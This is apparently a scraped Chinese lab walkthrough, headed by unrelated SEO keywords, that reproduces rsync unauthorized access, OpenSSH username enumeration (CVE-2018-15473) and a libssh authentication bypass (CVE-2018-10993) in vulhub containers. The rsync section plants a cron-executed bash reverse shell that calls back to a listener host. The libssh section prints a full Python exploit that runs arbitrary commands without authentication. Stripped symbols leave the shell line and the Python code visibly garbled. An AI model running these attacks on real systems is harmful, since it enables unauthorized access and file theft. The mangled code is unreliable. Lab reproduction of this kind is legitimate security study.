网站建设需要什么技能,wordpress怎么改cms,免费注册帐号qq,大型网站建设价格多少目录 服务攻防-应用协议rsyncssh漏洞复现漏洞复现配置不当-未授权访问-rsync文件备份OpenSSH 用户名枚举漏洞libssh身份验证绕过漏洞 服务攻防-应用协议rsyncssh漏洞复现
漏洞复现
配置不当-未授权访问-rsync文件备份
rsync默认端口#xff1a;873 rsync是Linux下… 目录 服务攻防-应用协议rsyncssh漏洞复现漏洞复现配置不当-未授权访问-rsync文件备份OpenSSH 用户名枚举漏洞libssh身份验证绕过漏洞 服务攻防-应用协议rsyncssh漏洞复现
漏洞复现
配置不当-未授权访问-rsync文件备份
rsync默认端口873 rsync是Linux下一款数据备份工具支持通过rsync协议、ssh协议进行远程文件 传输。 其中rsync协议默认监听873端口如果目标开启了rsync服务并且没有配 置ACL或访问密码我们将可以读写目标服务器文件。 靶场vulhub
或vulfocus
参考rsync未授权访问 开启环境 环境启动后我们用rsync命令访问
rsync rsync://your-ip:873/
//靶场映射了端口
rsync rsync://192.168.100.134:43983可以查看模块名列表 访问列表
rsync rsync://your-ip:873/src/
rsync rsync://192.168.100.134:43983/src发现这是一个Linux根目录我们可以下载任意文件
rsync -av rsync://your-ip:873/src/etc/passwd ./
rsync rsync://192.168.100.134:43983/src/etc/passwd ./还可以尝试上传
将passwd文件上传到/src目录下
rsync ./passwd rsync://192.168.100.134:43983/src 查看验证
rsync rsync://192.168.100.134:43983/src 由于靶场时间原因重启靶场继续实验
可反弹shell
//下载crond文件
rsync -av rsync://192.168.100.134:39525/src/etc/crontab ./点击查看 注意该行语句的含义
表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
17 * * * * root cd / run-parts --report /etc/cron.hourly创建一个shell文件并写入反弹shell命令
#!/bin/bash
/bin/bash -i /dev/tcp/192.168.100.146/6666 01赋予执行权限
chmod x shell将写好的shell文件上传至/etc/cron.hourly
rsync -av shell rsync://192.168.100.134:39525/src/etc/cron.hourly本地监听
nc -lvvp 6666等待反弹即可。
OpenSSH 用户名枚举漏洞
参考CVE-2018-15473
OpenSSH 7.7前存在一个用户名枚举漏洞通过该漏洞攻击者可以判断某个用户名是否存在于目标主机中。 开启环境 环境启动后我们在客户端执行
ssh -o StrictHostKeyCheckingno -o UserKnownHostsFile/dev/null rootyour-ip -p 20022输入密码vulhub即可登录到容器中。 可直接使用exp进行利用
exp链接CVE-2018-15473-Exploit
python sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip方法二
还可以使用msf进行验证测试
msfconsole //开启msf
search ssh //搜索
use 53
set rhosts 192.168.100.134
set rport 20022
set user_file 字典路径
run配置详细信息 执行 执行发现root、example、vulhub、nobody等用户是存在的用户。
libssh身份验证绕过漏洞
参考libssh 服务端权限认证绕过漏洞 libssh是一个在客户端和服务器端实现SSHv2协议的多平台C库。在libssh的服务器端状态机中发现了一个逻辑漏洞。攻击者可以在认证成功之前发送MSG_USERAUTH_SUCCESS消息。它可以绕过身份验证并访问目标SSH服务器。 开启靶场环境 环境启动后我们可以连接your-ip:2222端口账号密码myuser:mypassword 利用
参考CVE-2018-10993
根据参考可直接利用poc
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logginglogging.basicConfig(streamsys.stdout, levellogging.DEBUG)
bufsize 2048def execute(hostname, port, command):sock socket.socket()try:sock.connect((hostname, int(port)))message paramiko.message.Message()transport paramiko.transport.Transport(sock)transport.start_client()message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)transport._send_message(message)client transport.open_session(timeout10)client.exec_command(command)# stdin client.makefile(wb, bufsize)stdout client.makefile(rb, bufsize)stderr client.makefile_stderr(rb, bufsize)output stdout.read()error stderr.read()stdout.close()stderr.close()return (outputerror).decode()except paramiko.SSHException as e:logging.exception(e)logging.debug(TCPForwarding disabled on remote server cant connect. Not Vulnerable)except socket.error:logging.debug(Unable to connect.)return Noneif __name__ __main__:print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))执行验证
python libssh_poc.py 192.168.100.134 2222 id
python libssh_poc.py 192.168.100.134 2222 whoami
python libssh_poc.py 192.168.100.134 2222 touch /123.txt
python libssh_poc.py 192.168.100.134 2222 ls /成功创建